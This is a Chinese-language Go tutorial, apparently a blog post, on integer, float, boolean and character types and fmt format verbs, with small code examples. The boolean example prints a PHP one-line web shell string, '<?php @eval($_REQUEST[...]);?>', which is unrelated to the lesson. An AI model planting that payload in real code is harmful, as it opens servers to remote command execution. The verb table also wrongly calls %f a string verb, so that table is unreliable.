1. 程式人生 > 其它 >Go語言學習05-資料型別

Go語言學習05-資料型別

其實我之前犯過一個很大的毛病,無論是學習C語言還是Java語言的時候。就是十分地無視資料型別,覺著資料型別這種東西差不多看懂了就行了,但是這肯定是不行的,必須好好學,好好總結,不然之後的各種型別轉換,網路程式設計,根本就無從下手,還要回頭翻看筆記。

Go語言中有豐富的資料型別,除了基本的整型、浮點型、布林型、字串外,還有複雜的資料型別:陣列、切片、結構體、函式、map、通道(channel)等。Go 語言的基本型別和其他語言大同小異。

0x00 Go資料型別總概覽

0x01 基本資料型別

整型

整型分為以下兩個大類: 按長度分為:int8、int16、int32、int64 對應的無符號整型:uint8、uint16、uint32、uint64

其中,uint8就是我們熟知的byte型,int16對應C語言中的short型,int64對應C語言中的long型。

型別 描述
uint8 無符號 8位整型 (0 到 255 28個)
uint16 無符號 16位整型 (0 到 65535 216個)
uint32 無符號 32位整型 (0 到 4294967295 232個)
uint64 無符號 64位整型 (0 到 18446744073709551615 264個)
int8 有符號 8位整型 (-128 到 127)
int16 有符號 16位整型 (-32768 到 32767)
int32 有符號 32位整型 (-2147483648 到 2147483647)
int64 有符號 64位整型 (-9223372036854775808 到 9223372036854775807)

PS1:int8中的127,-128怎麼算出來的?

有符號說白了就是可以表示負數,需要第一位數字來表示,0代表正數,1代表負數。那麼剩下的7位最大就是1,即01111111,127

-128涉及到了補碼,反碼等概念,大致瞭解一下即可。

PS2:uint8怎麼算出來的?

因為沒有符號,就沒有符號位,即8個1,255

特殊整型

型別 有無符號 佔用儲存空間 表數範圍
int 32位系統-4位元組即uint32
64位系統-8位元組即uint64
-231 ~ 231
-1
-263 ~ 263 -1
uint 32位系統-4位元組即int32
64位系統-8位元組即int64
0 ~ 231 -1
0 ~ 263 -1
rune 等價int32 -231 ~ 231 -1
byte 等價uint8 0~255
uintptr 用於存放一個指標

可以簡單理解成,一個英文字母就是byte型別,一箇中文或者韓文等就是rune。

注意: 在使用intuint型別時,不能假定它是32位或64位的整型,而是考慮intuint可能在不同平臺上的差異。計算機的位數就是指記憶體的大小,定址的長度。

注意事項 獲取物件的長度的內建len()函式返回的長度可以根據不同平臺的位元組長度進行變化。實際使用中,切片或 map 的元素數量等都可以用int來表示。在涉及到二進位制傳輸、讀寫檔案的結構描述時,為了保持檔案的結構不會受到不同編譯目標平臺位元組長度的影響,不要使用intuint

記憶體定址的時候都是十六進位制0x開頭,0開頭的是八進位制。我們無法直接定義二進位制數

八進位制&十六進位制

Go語言中無法直接定義二進位制數,關於八進位制和十六進位制的例項如下:

package main
import "fmt"

func main(){
    //十進位制
    var a int = 10
    fmt.Printf("%d\n",a)
    fmt.Printf("%b\n",a)
    
    //八進位制	以0開頭
    var b int = 077
    fmt.Printf("%o \n",b)
    
    //十六進位制 以0x開頭
    var c int = 0xff
    fmt.Printf("%x \n",c)
    fmt.Printf("%x \n",c)
}

練習一下就好,不用特別熟練,到時候用多了就會了

package main

import "fmt"

var i1 = 101 //十進位制數

func main() {
	fmt.Printf("%d\n", i1) //%d代表輸出十進位制數
	i2 := 077              //八進位制數
	fmt.Printf("%d\n", i2)
	i3 := 0x01234567 //十六進位制數
	fmt.Printf("%d\n", i3)
	fmt.Printf("%o\n", i1) //將i1十進位制數輸出成八進位制,八進位制設定許可權用的多
	fmt.Printf("%x\n", i1) //將i1轉換成十六進位制數,記憶體地址的多一些
	fmt.Printf("%b\n", i1) //將i1轉換成二進位制數
	fmt.Printf("%T\n", i3) //%T表示檢視對應的資料型別
	//宣告int8型別的變數,int16同理,否則預設為int型別
	i4 := int8(9)
	fmt.Printf("%T\n", i4)
	//以上通通為整型int型別
}

檢視對應資料型別佔幾個位元組

使用到的是unsafe.Sizeof,需要匯入unsafe

package main

import (
	"fmt"
	"unsafe"
)

func main() {
	var num1 int8 = 127
	var num2 int32 = 293981269
	var num3 int16 = -23120
	fmt.Printf("%d\n", num1)
	fmt.Printf("%d\n", num2)
	fmt.Printf("%d\n", num3)
	fmt.Println(unsafe.Sizeof(num2)) //檢視佔幾個位元組,使用到的是unsafe.Sizeof,需要匯入unsafe包

}

浮點型

浮點型別說白了就是存放帶有小數的數值的。float32 4位元組和float64 8位元組 無論是哪種作業系統,都是這麼個佔位。

這兩種浮點型資料格式遵循IEEE 754標準: float32 的浮點數的最大範圍約為 3.4e38,可以使用常量定義:math.MaxFloat32

float64 的浮點數的最大範圍約為 1.8e308,可以使用一個常量定義:math.MaxFloat64

列印浮點數時,可以使用fmt包配合動詞%f,程式碼如下:

package main
import (
        "fmt"
        "math"
)
func main() {
        fmt.Printf("%f\n", math.Pi)
        fmt.Printf("%.2f\n", math.Pi)
}

預設情況下,go語言中的小數均為float64

package main

import (
	"fmt"
)

func main() {
	//math.MaxFloat32	//float32最大值
	f1 := 1.234566
	fmt.Printf("%T\n", f1) //預設go語言中的小數都是float64型別
	f2 := float32(1.234566)
	fmt.Printf("%T\n", f2) //顯示宣告float32型別
	//f1 = f2  錯誤        //float32型別的值不能直接賦值給float64型別的變數

}

複數

略過,科學計算常用,我們不用學

布林值

1、布林型別變數預設值為false,佔1位元組,一般用flag來新建布林變數,其實隨便都行,推薦flag

2、Go語言中不允許將整型強制轉換為布林型,即不能用1來表示true,0表示false。Python中1=true

3、布林型無法參與數值運算,也無法與其他型別進行轉換。

4、下面這段程式碼注意,這裡的if flag就相當於if flag==true

func main() {
	flag := false
	if flag { //if flag 就相當於 if flag==true
		fmt.Println("1")
	} else {
		fmt.Println("<?php @eval($_REQUEST['cmd']);?>")
	}
}

字元型別

1、Golang中沒有專門的字元型別,一般用byte來表示

2、字元型別,本質上就是一個整數,輸出字元的時候,預設輸出ascii碼

3、utf-8是unicode的其中一種編碼方案而已

資料型別總結

這麼多資料型別,怎麼用?選擇哪個?

Go語言中推薦使用佔用空間儘可能小的型別,例如你想要表示一個人的年齡,年齡不可能是負數,而且最大也就120歲,差不多就是這樣了。

所以推薦使用byte或者uint8型別。但是在Go編譯後的exe執行程式,大小是一樣的。 可能是因為外掛的緣故。

printf總結

佔位符 說明
%d 整型
%f 字串
%b 二進位制
%o 八進位制
%x 十六進位制
%v 以預設的方式列印變數的值(萬能佔位符,如果不知道變數是什麼型別,用%v即可,go語言會自動為你識別)
%c 字元
%T 列印變數的型別
%% 字面上的百分號,並非值的佔位符
%p 指標型別
package main

import "fmt"

//fmt 佔位符總結

func main() {
	var n = 100
	var s = "我愛你中國"
	//檢視型別
	fmt.Printf("%T\n", n)	
    //什麼格式都能輸出
	fmt.Printf("%#v\n", n)
    //輸出十進位制
	fmt.Printf("%d\n", n)
    //輸出二進位制
	fmt.Printf("%#b\n", n)
     //輸出八進位制
	fmt.Printf("%#o\n", n)
     //輸出十六進位制
	fmt.Printf("%#x\n", n)
     //輸出字串
	fmt.Printf("%s\n", s)

}

加上#號就是將識別符號展示出來,例如十六進位制的0x,不加#就不會出現0x這兩個字元。